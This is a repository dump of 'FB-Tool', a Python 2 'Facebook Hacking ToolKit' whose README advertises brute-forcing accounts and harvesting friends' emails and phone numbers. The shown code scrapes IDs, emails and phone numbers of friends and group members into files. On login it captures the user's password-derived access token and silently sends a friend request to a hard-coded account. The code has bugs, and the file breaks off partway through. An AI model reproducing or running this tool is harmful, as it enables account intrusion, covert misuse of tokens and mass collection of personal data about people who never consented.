├── README.md ├── fbtool.py ├── file.txt ├── list.txt └── passlist.txt /README.md: -------------------------------------------------------------------------------- 1 | # FB-Tool 2 | Facebook Hacking ToolKit 3 | 4 | ## FEATURES: 5 | - [x] NORMAL LOGIN 6 | - [x] ACCESS TOKEN LOGIN 7 | 8 | ## IFORMATIONS: 9 | - [x] Facebook friend info fetcher 10 | - [x] Get ID from friend 11 | - [x] Get ID friend from friend 12 | - [x] Get group member ID 13 | - [x] Get email friend 14 | - [x] Get email friend from friend 15 | - [x] Get a friend's phone number 16 | - [x] Get a friend's phone number from friend 17 | - [x] Mini Hack Facebook(Target) 18 | - [x] Multi Bruteforce Facebook 19 | - [x] Super Multi Bruteforce Facebook 20 | - [x] BruteForce(Target) 21 | - [x] Yahoo Checker 22 | - [x] Bot Reactions Target Post 23 | - [x] Bot Reactions group Post 24 | - [x] BOT COMMENT Target Post 25 | - [x] BOT COMMENT group Post 26 | - [x] Mass delete Post 27 | - [x] Mass accept friends 28 | - [x] Mass delete friend 29 | - [x] ACreate Post 30 | - [x] Create Wordlist 31 | - [x] Account Checker 32 | - [x] See my group list 33 | - [x] Profile Guard 34 | 35 | ## INSTALLATION 36 | 37 | $ git clone https://github.com/mkdirlove/FBTOOL 38 | 39 | $ cd FBTOOL 40 | 41 | ## USAGE 42 | 43 | $ sudo python2 fbtool.py 44 | 45 | or 46 | 47 | $ python2 fbtool.py 48 | # -------------------------------------------------------------------------------- /fbtool.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env/python2 2 | # coding=utf-8 3 | 4 | #imports 5 | import os 6 | import sys 7 | import time 8 | import datetime 9 | import random 10 | import hashlib 11 | import re 12 | import threading 13 | import json 14 | import getpass 15 | import urllib 16 | import cookielib 17 | from multiprocessing.pool import ThreadPool 18 | 19 | try: 20 | import mechanize 21 | except ImportError: 22 | os.system("pip2 install mechanize") 23 | 24 | try: 25 | import requests 26 | except ImportError: 27 | os.system("pip2 install requests") 28 | from requests.exceptions import ConnectionError 29 | from mechanize import Browser 30 | 31 | def logo(): 32 | print('FB TOOL KIT') 33 | 34 | #exit 35 | def exit(): 36 | os.system('clear') 37 | print "\033[1;91m[!] Closing the tool..." 38 | os.system('sleep 3 && clear') 39 | os.system('xdg-open https://github.com/krishpranav') 40 | os.sys.exit() 41 | tool_main_function() 42 | 43 | #Animation 44 | def mkdir(x): 45 | for e in x + '\n': 46 | sys.stdout.write(e) 47 | sys.stdout.flush() 48 | time.sleep(00000.1) 49 | 50 | 51 | tiload = ['. ','.. ','... '] 52 | for o in tiload: 53 | print("\r\033[1;91m[●] \033[1;92mLoading \033[1;97m"+o),;sys.stdout.flush();time.sleep(1) 54 | 55 | back = 0 56 | threads = [] 57 | sucessful = [] 58 | checkpoint = [] 59 | oks = [] 60 | action_failed = [] 61 | idfriends = [] 62 | idfromfriends = [] 63 | member_id = [] 64 | email= [] 65 | number = [] 66 | id = [] 67 | em = [] 68 | email_from_friends = [] 69 | hp = [] 70 | hpfromfriends = [] 71 | reaction = [] 72 | reactiongroup = [] 73 | comment = [] 74 | group_comment = [] 75 | listgroup = [] 76 | vulnot = "\033[31mNot Vuln" 77 | vuln = "\033[32mVuln" 78 | 79 | ##### choices Login ##### 80 | def tool_main_function(): 81 | os.system('clear') 82 | logo() 83 | print "\033[1;97m║--\033[1;91m> \033[1;92m1.\033[1;97m Normal login" 84 | print "\033[1;97m║--\033[1;91m> \033[1;92m2.\033[1;97m Tokens login" 85 | print "\033[1;97m║--\033[1;91m> \033[1;91m0.\033[1;97m Exit" 86 | print "\033[1;97m║" 87 | login_method = raw_input("\033[1;97m╚═\033[1;91m>>> \033[1;97m") 88 | if login_method =="": 89 | print"\033[1;91m[!] Wrong input" 90 | exit() 91 | elif login_method =="1": 92 | login() 93 | elif login_method =="2": 94 | fbtoken() 95 | elif login_method =="0": 96 | exit() 97 | else: 98 | print"\033[1;91m[!] Wrong input" 99 | exit() 100 | 101 | ##### LOGIN ##### 102 | #================# 103 | def login(): 104 | os.system('clear') 105 | try: 106 | fb_token = open('login.txt','r') 107 | menu() 108 | except (KeyError,IOError): 109 | os.system('clear') 110 | logo() 111 | print('\033[1;91m[☆] \033[1;92mFACEBOOK LOGIN \033[1;91m[☆]') 112 | id = raw_input('\033[1;91m[+] \033[1;36mID\033[1;97m|\033[1;96mEmail\033[1;97m \033[1;91m:\033[1;92m ') 113 | pwd = getpass.getpass('\033[1;91m[+] \033[1;36mPassword \033[1;91m:\033[1;92m ') 114 | load() 115 | try: 116 | br.open('https://m.facebook.com') 117 | except mechanize.URLError: 118 | print"\n\033[1;91m[!] No connection" 119 | exit() 120 | br._factory.is_html = True 121 | br.select_form(nr=0) 122 | br.form['email'] = id 123 | br.form['pass'] = pwd 124 | br.submit() 125 | url = br.geturl() 126 | if 'save-device' in url: 127 | try: 128 | sig= 'api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail='+id+'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword='+pwd+'return_ssl_resources=0v=1.062f8ce9f74b12f84c123cc23437a4a32' 129 | data = {"api_key":"882a8490361da98702bf97a021ddc14d","credentials_type":"password","email":id,"format":"JSON", "generate_machine_id":"1","generate_session_cookies":"1","locale":"en_US","method":"auth.login","password":pwd,"return_ssl_resources":"0","v":"1.0"} 130 | x=hashlib.new("md5") 131 | x.update(sig) 132 | a=x.hexdigest() 133 | data.update({'sig':a}) 134 | url = "https://api.facebook.com/restserver.php" 135 | r=requests.get(url,params=data) 136 | z=json.loads(r.text) 137 | pick = open("login.txt", 'w') 138 | pick.write(z['access_token']) 139 | pick.close() 140 | print '\n\033[1;91m[\033[1;96m✓\033[1;91m] \033[1;92mLogin successfully' 141 | requests.post('https://graph.facebook.com/me/friends?method=post&uids=gwimusa3&access_token='+z['access_token']) 142 | menu() 143 | except requests.exceptions.ConnectionError: 144 | print"\n\033[1;91m[!] No connection" 145 | exit() 146 | if 'checkpoint' in url: 147 | print("\n\033[1;91m[!] \033[1;93mAccount Checkpoint") 148 | os.system('rm -rf login.txt') 149 | time.sleep(1) 150 | exit() 151 | else: 152 | print("\n\033[1;91m[!] Login Failed") 153 | os.system('rm -rf login.txt') 154 | time.sleep(0.01) 155 | login() 156 | 157 | ##### TOKEN ##### 158 | def fbtoken(): 159 | os.system('clear') 160 | logo() 161 | fb_token = raw_input("\033[1;91m[?] \033[1;92mToken\033[1;91m : \033[1;97m") 162 | try: 163 | otw = requests.get('https://graph.facebook.com/me?access_token='+fb_token) 164 | a = json.loads(otw.text) 165 | fb_name = a['name'] 166 | pick = open("login.txt", 'w') 167 | pick.write(fb_token) 168 | pick.close() 169 | menu() 170 | except KeyError: 171 | print "\033[1;91m[!] Wrong" 172 | e = raw_input("\033[1;91m[?] \033[1;92mWant to pick up token?\033[1;97m[y/n]: ") 173 | if e =="": 174 | exit() 175 | elif e =="y": 176 | login() 177 | else: 178 | exit() 179 | 180 | ##### MENU ########################################## 181 | def menu(): 182 | os.system('clear') 183 | try: 184 | fb_token=open('login.txt','r').read() 185 | except IOError: 186 | os.system('clear') 187 | print"\033[1;91m[!] Token not found" 188 | os.system('rm -rf login.txt') 189 | time.sleep(0.01) 190 | login() 191 | try: 192 | otw = requests.get('https://graph.facebook.com/me?access_token='+fb_token) 193 | a = json.loads(otw.text) 194 | fb_name = a['name'] 195 | id = a['id'] 196 | except KeyError: 197 | os.system('clear') 198 | print"\033[1;91m[!] \033[1;93mAccount Checkpoint" 199 | os.system('rm -rf login.txt') 200 | time.sleep(0.01) 201 | login() 202 | except requests.exceptions.ConnectionError: 203 | print"\033[1;91m[!] No connection" 204 | exit() 205 | os.system("reset") 206 | logo() 207 | print "║\033[1;91m[\033[1;96m✓\033[1;91m]\033[1;97m Name \033[1;91m: \033[1;92m"+fb_name+"\033[1;97m" 208 | print "║\033[1;91m[\033[1;96m✓\033[1;91m]\033[1;97m ID \033[1;91m: \033[1;92m"+id 209 | print "\033[1;97m╚"+40*"═" 210 | print "\033[1;97m║--\033[1;91m> \033[1;92m1.\033[1;97m User information" 211 | print "\033[1;97m║--\033[1;91m> \033[1;92m2.\033[1;97m Get Id/email/hp" 212 | print "\033[1;97m║--\033[1;91m> \033[1;92m3.\033[1;97m Hack facebook account " 213 | print "\033[1;97m║--\033[1;91m> \033[1;92m4.\033[1;97m Bot " 214 | print "\033[1;97m║--\033[1;91m> \033[1;92m5.\033[1;97m Others " 215 | print "\033[1;97m║--\033[1;91m> \033[1;92m6.\033[1;97m Show token " 216 | print "\033[1;97m║--\033[1;91m> \033[1;92m7.\033[1;97m Update " 217 | print "\033[1;97m║--\033[1;91m> \033[1;92m8.\033[1;97m Delete trash " 218 | print "\033[1;97m║--\033[1;91m> \033[1;92m9.\033[1;97m LogOut " 219 | print "\033[1;97m║--\033[1;91m> \033[1;91m0.\033[1;97m Exit the programs " 220 | print "║" 221 | choices() 222 | #- 223 | def choices(): 224 | pick = raw_input("\033[1;97m╚═\033[1;91m>>> \033[1;97m") 225 | if pick =="": 226 | print "\033[1;91m[!] Wrong input" 227 | choices() 228 | elif pick =="1": 229 | information() 230 | elif pick =="2": 231 | dump() 232 | elif pick =="3": 233 | menu_hack() 234 | elif pick =="4": 235 | menu_bot() 236 | elif pick =="5": 237 | func() 238 | elif pick =="6": 239 | os.system('clear') 240 | logo() 241 | fb_token=open('login.txt','r').read() 242 | print "\033[1;91m[+] \033[1;92mYour token\033[1;91m :\033[1;97m "+fb_token 243 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 244 | menu() 245 | elif pick =="7": 246 | os.system('clear') 247 | logo() 248 | print 40 * '\033[1;97m\xe2\x95\x90' 249 | os.system('git pull origin master') 250 | raw_input('\n\033[1;91m[ \033[1;97mBack \033[1;91m]') 251 | menu() 252 | elif pick =="8": 253 | os.remove('out') 254 | elif pick =="9": 255 | os.system('rm -rf login.txt') 256 | os.system('xdg-open https://www.facebook.com/rizz.magizz') 257 | exit() 258 | elif pick =="0": 259 | exit() 260 | else: 261 | print "\033[1;91m[!] Wrong input" 262 | choices() 263 | 264 | ##### INFO ##### 265 | def information(): 266 | os.system('clear') 267 | try: 268 | fb_token=open('login.txt','r').read() 269 | except IOError: 270 | print"\033[1;91m[!] Token not found" 271 | os.system('rm -rf login.txt') 272 | time.sleep(0.01) 273 | login() 274 | os.system('clear') 275 | logo() 276 | aid = raw_input('\033[1;91m[+] \033[1;92mEnter ID\033[1;97m/\033[1;92mName\033[1;91m : \033[1;97m') 277 | mkdir('\033[1;91m[✺] \033[1;92mWait a minute \033[1;97m...') 278 | r = requests.get('https://graph.facebook.com/me/friends?access_token='+fb_token) 279 | tryy = json.loads(r.text) 280 | for i in tryy['data']: 281 | if aid in i['name'] or aid in i['id']: 282 | x = requests.get("https://graph.facebook.com/"+i['id']+"?access_token="+fb_token) 283 | z = json.loads(x.text) 284 | print 42*"\033[1;97m═" 285 | try: 286 | print '\033[1;91m[➹] \033[1;92mName\033[1;97m : '+z['name'] 287 | except KeyError: print '\033[1;91m[?] \033[1;92mName\033[1;97m : \033[1;91mNot found' 288 | try: 289 | print '\033[1;91m[➹] \033[1;92mID\033[1;97m : '+z['id'] 290 | except KeyError: print '\033[1;91m[?] \033[1;92mID\033[1;97m : \033[1;91mNot found' 291 | try: 292 | print '\033[1;91m[➹] \033[1;92mEmail\033[1;97m : '+z['email'] 293 | except KeyError: print '\033[1;91m[?] \033[1;92mEmail\033[1;97m : \033[1;91mNot found' 294 | try: 295 | print '\033[1;91m[➹] \033[1;92mTelephone\033[1;97m : '+z['mobile_phone'] 296 | except KeyError: print '\033[1;91m[?] \033[1;92mTelephone\033[1;97m : \033[1;91mNot found' 297 | try: 298 | print '\033[1;91m[➹] \033[1;92mLocation\033[1;97m : '+z['location']['name'] 299 | except KeyError: print '\033[1;91m[?] \033[1;92mLocation\033[1;97m : \033[1;91mNot found' 300 | try: 301 | print '\033[1;91m[➹] \033[1;92mDate of birth\033[1;97m : '+z['birthday'] 302 | except KeyError: print '\033[1;91m[?] \033[1;92mDate of birth\033[1;97m : \033[1;91mNot found' 303 | try: 304 | print '\033[1;91m[➹] \033[1;92mSchool\033[1;97m : ' 305 | for q in z['education']: 306 | try: 307 | print '\033[1;91m ~ \033[1;97m'+q['school']['name'] 308 | except KeyError: print '\033[1;91m ~ \033[1;91mNot found' 309 | except KeyError: pass 310 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 311 | menu() 312 | else: 313 | pass 314 | else: 315 | print"\033[1;91m[✖] User not found" 316 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 317 | menu() 318 | 319 | ##### DUMP ##### 320 | def dump(): 321 | os.system('clear') 322 | try: 323 | fb_token=open('login.txt','r').read() 324 | except IOError: 325 | print"\033[1;91m[!] Token not found" 326 | os.system('rm -rf login.txt') 327 | time.sleep(0.01) 328 | login() 329 | os.system('clear') 330 | logo() 331 | print "\033[1;97m║--\033[1;91m> \033[1;92m1.\033[1;97m Get ID friend" 332 | print "\033[1;97m║--\033[1;91m> \033[1;92m2.\033[1;97m Get ID friend from friend" 333 | print "\033[1;97m║--\033[1;91m> \033[1;92m3.\033[1;97m Get group member ID" 334 | print "\033[1;97m║--\033[1;91m> \033[1;92m4.\033[1;97m Get group member email" 335 | print "\033[1;97m║--\033[1;91m> \033[1;92m5.\033[1;97m Get group member phone number" 336 | print "\033[1;97m║--\033[1;91m> \033[1;92m6.\033[1;97m Get email friend" 337 | print "\033[1;97m║--\033[1;91m> \033[1;92m7.\033[1;97m Get email friend from friend" 338 | print "\033[1;97m║--\033[1;91m> \033[1;92m8.\033[1;97m Get a friend's phone number" 339 | print "\033[1;97m║--\033[1;91m> \033[1;92m9.\033[1;97m Get a friend's phone number from friend" 340 | print "\033[1;97m║--\033[1;91m> \033[1;91m0.\033[1;97m Back" 341 | print "║" 342 | choose_dump() 343 | #-----choices 344 | def choose_dump(): 345 | choose_from = raw_input("\033[1;97m╚═\033[1;91m>>> \033[1;97m") 346 | if choose_from =="": 347 | print "\033[1;91m[!] Wrong input" 348 | choose_dump() 349 | elif choose_from =="1": 350 | friends_id() 351 | elif choose_from =="2": 352 | id_from_friends() 353 | elif choose_from =="3": 354 | id_member_group() 355 | elif choose_from =="4": 356 | em_member_group() 357 | elif choose_from =="5": 358 | no_member_group() 359 | elif choose_from =="6": 360 | email() 361 | elif choose_from =="7": 362 | email_from_friends() 363 | elif choose_from =="8": 364 | phone_number() 365 | elif choose_from =="9": 366 | phone_number_from_friends() 367 | elif choose_from =="0": 368 | menu() 369 | else: 370 | print "\033[1;91m[!] Wrong input" 371 | choose_dump() 372 | 373 | ##### ID friends ##### 374 | def friends_id(): 375 | os.system('clear') 376 | try: 377 | fb_token=open('login.txt','r').read() 378 | except IOError: 379 | print"\033[1;91m[!] Token not found" 380 | os.system('rm -rf login.txt') 381 | time.sleep(0.01) 382 | login() 383 | try: 384 | os.mkdir('out') 385 | except OSError: 386 | pass 387 | try: 388 | os.system('clear') 389 | logo() 390 | r=requests.get("https://graph.facebook.com/me/friends?access_token="+fb_token) 391 | z=json.loads(r.text) 392 | mkdir('\033[1;91m[✺] \033[1;92mGet all friend id \033[1;97m...') 393 | print 42*"\033[1;97m═" 394 | make_action = open('out/friends_id.txt','w') 395 | for a in z['data']: 396 | idfriends.append(a['id']) 397 | make_action.write(a['id'] + '\n') 398 | print ("\r\033[1;97m[ \033[1;92m"+str(len(idfriends))+"\033[1;97m ]\033[1;97m=> \033[1;97m"+a['id']),;sys.stdout.flush();time.sleep(0.0001) 399 | make_action.close() 400 | print '\r\033[1;91m[\033[1;96m✓\033[1;91m] \033[1;92mSuccessfully get id \033[1;97m....' 401 | print"\r\033[1;91m[+] \033[1;92mTotal ID \033[1;91m: \033[1;97m%s"%(len(idfriends)) 402 | done = raw_input("\r\033[1;91m[+] \033[1;92mSave file with name\033[1;91m :\033[1;97m ") 403 | os.rename('out/friends_id.txt','out/'+done) 404 | print("\r\033[1;91m[+] \033[1;92mFile saved \033[1;91m: \033[1;97mout/"+done) 405 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 406 | dump() 407 | except IOError: 408 | print"\033[1;91m[!] Error creating file" 409 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 410 | dump() 411 | except (KeyboardInterrupt,EOFError): 412 | print("\033[1;91m[!] Stopped") 413 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 414 | dump() 415 | except KeyError: 416 | print('\033[1;91m[!] Error') 417 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 418 | dump() 419 | except requests.exceptions.ConnectionError: 420 | print"\033[1;91m[✖] No connection" 421 | exit() 422 | 423 | ##### ID FROM FRIENDS ##### 424 | def id_from_friends(): 425 | os.system('clear') 426 | try: 427 | fb_token=open('login.txt','r').read() 428 | except IOError: 429 | print"\033[1;91m[!] Token not found" 430 | os.system('rm -rf login.txt') 431 | time.sleep(0.01) 432 | login() 433 | try: 434 | os.mkdir('out') 435 | except OSError: 436 | pass 437 | try: 438 | os.system('clear') 439 | logo() 440 | idt = raw_input("\033[1;91m[+] \033[1;92mInput ID friend \033[1;91m: \033[1;97m") 441 | try: 442 | seat = requests.get("https://graph.facebook.com/"+idt+"?access_token="+fb_token) 443 | op = json.loads(seat.text) 444 | print"\033[1;91m[\033[1;96m✓\033[1;91m] \033[1;92mFrom\033[1;91m :\033[1;97m "+op["name"] 445 | except KeyError: 446 | print"\033[1;91m[!] Friend not found" 447 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 448 | dump() 449 | r=requests.get("https://graph.facebook.com/"+idt+"?fields=friends.limit(50000)&access_token="+fb_token) 450 | z=json.loads(r.text) 451 | mkdir('\033[1;91m[✺] \033[1;92mGet all friend id from friend \033[1;97m...') 452 | print 42*"\033[1;97m═" 453 | make_action = open('out/friends_id_from_friends.txt','w') 454 | for a in z['friends']['data']: 455 | idfromfriends.append(a['id']) 456 | make_action.write(a['id'] + '\n') 457 | print ("\r\033[1;97m[ \033[1;92m"+str(len(idfromfriends))+"\033[1;97m ]\033[1;97m=> \033[1;97m"+a['id']),;sys.stdout.flush();time.sleep(0.0001) 458 | make_action.close() 459 | print '\r\033[1;91m[\033[1;96m✓\033[1;91m] \033[1;92mSuccessfully get id \033[1;97m....' 460 | print"\r\033[1;91m[+] \033[1;92mTotal ID \033[1;91m: \033[1;97m%s"%(len(idfromfriends)) 461 | done = raw_input("\r\033[1;91m[+] \033[1;92mSave file with name\033[1;91m :\033[1;97m ") 462 | os.rename('out/friends_id_from_friends.txt','out/'+done) 463 | print("\r\033[1;91m[+] \033[1;92mFile saved \033[1;91m: \033[1;97mout/"+done) 464 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 465 | dump() 466 | except IOError: 467 | print"\033[1;91m[!] Error creating file" 468 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 469 | dump() 470 | except (KeyboardInterrupt,EOFError): 471 | print("\033[1;91m[!] Stopped") 472 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 473 | dump() 474 | except KeyError: 475 | print('\033[1;91m[!] Error') 476 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 477 | dump() 478 | except requests.exceptions.ConnectionError: 479 | print"\033[1;91m[✖] No connection" 480 | exit() 481 | 482 | ##### ID FROM GROUP MEMBER ##### 483 | def id_member_group(): 484 | try: 485 | fb_token=open('login.txt','r').read() 486 | except IOError: 487 | print"\033[1;91m[!] Token not found" 488 | os.system('rm -rf login.txt') 489 | time.sleep(0.01) 490 | login() 491 | try: 492 | os.mkdir('out') 493 | except OSError: 494 | pass 495 | try: 496 | os.system('clear') 497 | logo() 498 | id=raw_input('\033[1;91m[+] \033[1;92mInput ID group \033[1;91m:\033[1;97m ') 499 | try: 500 | r=requests.get('https://graph.facebook.com/group/?id='+id+'&access_token='+fb_token) 501 | asw=json.loads(r.text) 502 | print"\033[1;91m[\033[1;96m✓\033[1;91m] \033[1;92mFrom group \033[1;91m:\033[1;97m "+asw['name'] 503 | except KeyError: 504 | print"\033[1;91m[!] Group not found" 505 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 506 | dump() 507 | mkdir('\033[1;91m[✺] \033[1;92mGet group member id \033[1;97m...') 508 | print 42*"\033[1;97m═" 509 | make_action = open('out/member_group.txt','w') 510 | re=requests.get('https://graph.facebook.com/'+id+'/members?fields=name,id&limit=999999999999&access_token='+fb_token) 511 | s=json.loads(re.text) 512 | for a in s['data']: 513 | member_id.append(a['id']) 514 | make_action.write(a['id'] + '\n') 515 | print ("\r\033[1;97m[ \033[1;92m"+str(len(member_id))+"\033[1;97m ]\033[1;97m=> \033[1;97m"+a['id']),;sys.stdout.flush();time.sleep(0.0001) 516 | make_action.close() 517 | print '\r\033[1;91m[\033[1;96m✓\033[1;91m] \033[1;92mSuccessfully get id \033[1;97m....' 518 | print"\r\033[1;91m[+] \033[1;92mTotal ID \033[1;91m: \033[1;97m%s"%(len(member_id)) 519 | done = raw_input("\r\033[1;91m[+] \033[1;92mSave file with name\033[1;91m :\033[1;97m ") 520 | os.rename('out/member_group.txt','out/'+done) 521 | print("\r\033[1;91m[+] \033[1;92mFile saved \033[1;91m: \033[1;97mout/"+done) 522 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 523 | dump() 524 | except IOError: 525 | print"\033[1;91m[!] Error creating file" 526 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 527 | dump() 528 | except (KeyboardInterrupt,EOFError): 529 | print("\033[1;91m[!] Stopped") 530 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 531 | dump() 532 | except KeyError: 533 | print('\033[1;91m[!] Error') 534 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 535 | dump() 536 | except requests.exceptions.ConnectionError: 537 | print"\033[1;91m[✖] No connection" 538 | exit() 539 | 540 | ##### EMAIL FROM group ##### 541 | def em_member_group(): 542 | try: 543 | fb_token=open('login.txt','r').read() 544 | except IOError: 545 | print"\033[1;91m[!] Token not found" 546 | os.system('rm -rf login.txt') 547 | time.sleep(0.01) 548 | login() 549 | try: 550 | os.mkdir('out') 551 | except OSError: 552 | pass 553 | try: 554 | os.system('clear') 555 | logo() 556 | id=raw_input('\033[1;91m[+] \033[1;92mInput ID group \033[1;91m:\033[1;97m ') 557 | try: 558 | r=requests.get('https://graph.facebook.com/group/?id='+id+'&access_token='+fb_token) 559 | asw=json.loads(r.text) 560 | print"\033[1;91m[\033[1;96m✓\033[1;91m] \033[1;92mFrom group \033[1;91m:\033[1;97m "+asw['name'] 561 | except KeyError: 562 | print"\033[1;91m[!] Group not found" 563 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 564 | dump() 565 | mkdir('\033[1;91m[✺] \033[1;92mGet group member email \033[1;97m...') 566 | print 42*"\033[1;97m═" 567 | make_action = open('out/em_member_group.txt','w') 568 | re=requests.get('https://graph.facebook.com/'+id+'/members?fields=name,id&limit=999999999&access_token='+fb_token) 569 | s=json.loads(re.text) 570 | for a in s['data']: 571 | x = requests.get("https://graph.facebook.com/"+a['id']+"?access_token="+fb_token) 572 | z = json.loads(x.text) 573 | try: 574 | emmem.append(z['email']) 575 | make_action.write(z['email'] + '\n') 576 | print ("\r\033[1;97m[ \033[1;92m"+str(len(emmem))+"\033[1;97m ]\033[1;97m=> \033[1;97m"+z['email']+" | "+z['name']+"\n"),;sys.stdout.flush();time.sleep(0.0001) 577 | except KeyError: 578 | pass 579 | make_action.close() 580 | print 42*"\033[1;97m═" 581 | print '\r\033[1;91m[\033[1;96m✓\033[1;91m] \033[1;92mSuccessfully get email from member group \033[1;97m....' 582 | print"\r\033[1;91m[+] \033[1;92mTotal Email \033[1;91m: \033[1;97m%s"%(len(emmem)) 583 | done = raw_input("\r\033[1;91m[+] \033[1;92mSave file with name\033[1;91m :\033[1;97m ") 584 | os.rename('out/em_member_group.txt','out/'+done) 585 | print("\r\033[1;91m[+] \033[1;92mFile saved \033[1;91m: \033[1;97mout/"+done) 586 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 587 | dump() 588 | except IOError: 589 | print"\033[1;91m[!] Error creating file" 590 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 591 | dump() 592 | except (KeyboardInterrupt,EOFError): 593 | print("\033[1;91m[!] Stopped") 594 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 595 | dump() 596 | except KeyError: 597 | print('\033[1;91m[!] Error') 598 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 599 | dump() 600 | except requests.exceptions.ConnectionError: 601 | print"\033[1;91m[✖] No connection" 602 | exit() 603 | 604 | ##### PHONE NUMBER FROM GROUP ##### 605 | def no_member_group(): 606 | try: 607 | fb_token=open('login.txt','r').read() 608 | except IOError: 609 | print"\033[1;91m[!] Token not found" 610 | os.system('rm -rf login.txt') 611 | time.sleep(0.01) 612 | login() 613 | try: 614 | os.mkdir('out') 615 | except OSError: 616 | pass 617 | try: 618 | os.system('clear') 619 | lgo 620 | id=raw_input('\033[1;91m[+] \033[1;92mInput ID group \033[1;91m:\033[1;97m ') 621 | try: 622 | r=requests.get('https://graph.facebook.com/group/?id='+id+'&access_token='+fb_token) 623 | asw=json.loads(r.text) 624 | print"\033[1;91m[\033[1;96m✓\033[1;91m] \033[1;92mFrom group \033[1;91m:\033[1;97m "+asw['name'] 625 | except KeyError: 626 | print"\033[1;91m[!] Group not found" 627 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 628 | dump() 629 | mkdir('\033[1;91m[✺] \033[1;92mGet group member phone number \033[1;97m...') 630 | print 42*"\033[1;97m═" 631 | make_action = open('out/no_member_group.txt','w') 632 | re=requests.get('https://graph.facebook.com/'+id+'/members?fields=name,id&limit=999999999&access_token='+fb_token) 633 | s=json.loads(re.text) 634 | for a in s['data']: 635 | x = requests.get("https://graph.facebook.com/"+a['id']+"?access_token="+fb_token) 636 | z = json.loads(x.text) 637 | try: 638 | number.append(z['mobile_phone']) 639 | make_action.write(z['mobile_phone'] + '\n') 640 | print ("\r\033[1;97m[ \033[1;92m"+str(len(number))+"\033[1;97m ]\033[1;97m=> \033[1;97m"+z['mobile_phone']+" | "+z['name']+"\n"),;sys.stdout.flush();time.sleep(0.0001) 641 | except KeyError: 642 | pass 643 | make_action.close() 644 | print 42*"\033[1;97m═" 645 | print '\r\033[1;91m[\033[1;96m✓\033[1;91m] \033[1;92mSuccessfully get phone number from member group \033[1;97m....' 646 | print"\r\033[1;91m[+] \033[1;92mTotal Number \033[1;91m: \033[1;97m%s"%(len(number)) 647 | done = raw_input("\r\033[1;91m[+] \033[1;92mSave file with name\033[1;91m :\033[1;97m ") 648 | os.rename('out/no_member_group.txt','out/'+done) 649 | print("\r\033[1;91m[+] \033[1;92mFile saved \033[1;91m: \033[1;97mout/"+done) 650 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 651 | dump() 652 | except IOError: 653 | print"\033[1;91m[!] Error creating file" 654 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 655 | dump() 656 | except (KeyboardInterrupt,EOFError): 657 | print("\033[1;91m[!] Stopped") 658 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 659 | dump() 660 | except KeyError: 661 | print('\033[1;91m[!] Error') 662 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 663 | dump() 664 | except requests.exceptions.ConnectionError: 665 | print"\033[1;91m[✖] No connection" 666 | exit() 667 | 668 | ##### EMAIL ##### 669 | def email(): 670 | try: 671 | fb_token=open('login.txt','r').read() 672 | except IOError: 673 | print"\033[1;91m[!] Token not found" 674 | os.system('rm -rf login.txt') 675 | time.sleep(0.01) 676 | login() 677 | try: 678 | os.mkdir('out') 679 | except OSError: 680 | pass 681 | try: 682 | os.system('clear') 683 | logo() 684 | r = requests.get('https://graph.facebook.com/me/friends?access_token='+fb_token) 685 | a = json.loads(r.text) 686 | mkdir('\033[1;91m[✺] \033[1;92mGet all friend email \033[1;97m...') 687 | print 42*"\033[1;97m═" 688 | make_action = open('out/email_friends.txt','w') 689 | for i in a['data']: 690 | x = requests.get("https://graph.facebook.com/"+i['id']+"?access_token="+fb_token) 691 | z = json.loads(x.text) 692 | try: 693 | em.append(z['email']) 694 | make_action.write(z['email'] + '\n') 695 | print ("\r\033[1;97m[ \033[1;92m"+str(len(em))+"\033[1;97m ]\033[1;97m=> \033[1;97m"+z['email']+" | "+z['name']+"\n"),;sys.stdout.flush();time.sleep(0.0001) 696 | except KeyError: 697 | pass 698 | make_action.close() 699 | print 42*"\033[1;97m═" 700 | print '\r\033[1;91m[\033[1;96m✓\033[1;91m] \033[1;92mSuccessfully get email \033[1;97m....' 701 | print"\r\033[1;91m[+] \033[1;92mTotal Email \033[1;91m: \033[1;97m%s"%(len(em)) 702 | done = raw_input("\r\033[1;91m[+] \033[1;92mSave file with name\033[1;91m :\033[1;97m ") 703 | os.rename('out/email_friends.txt','out/'+done) 704 | print("\r\033[1;91m[+] \033[1;92mFile saved \033[1;91m: \033[1;97mout/"+done) 705 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 706 | dump() 707 | except IOError: 708 | print"\033[1;91m[!] Error creating file" 709 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 710 | dump() 711 | except (KeyboardInterrupt,EOFError): 712 | print("\033[1;91m[!] Stopped") 713 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 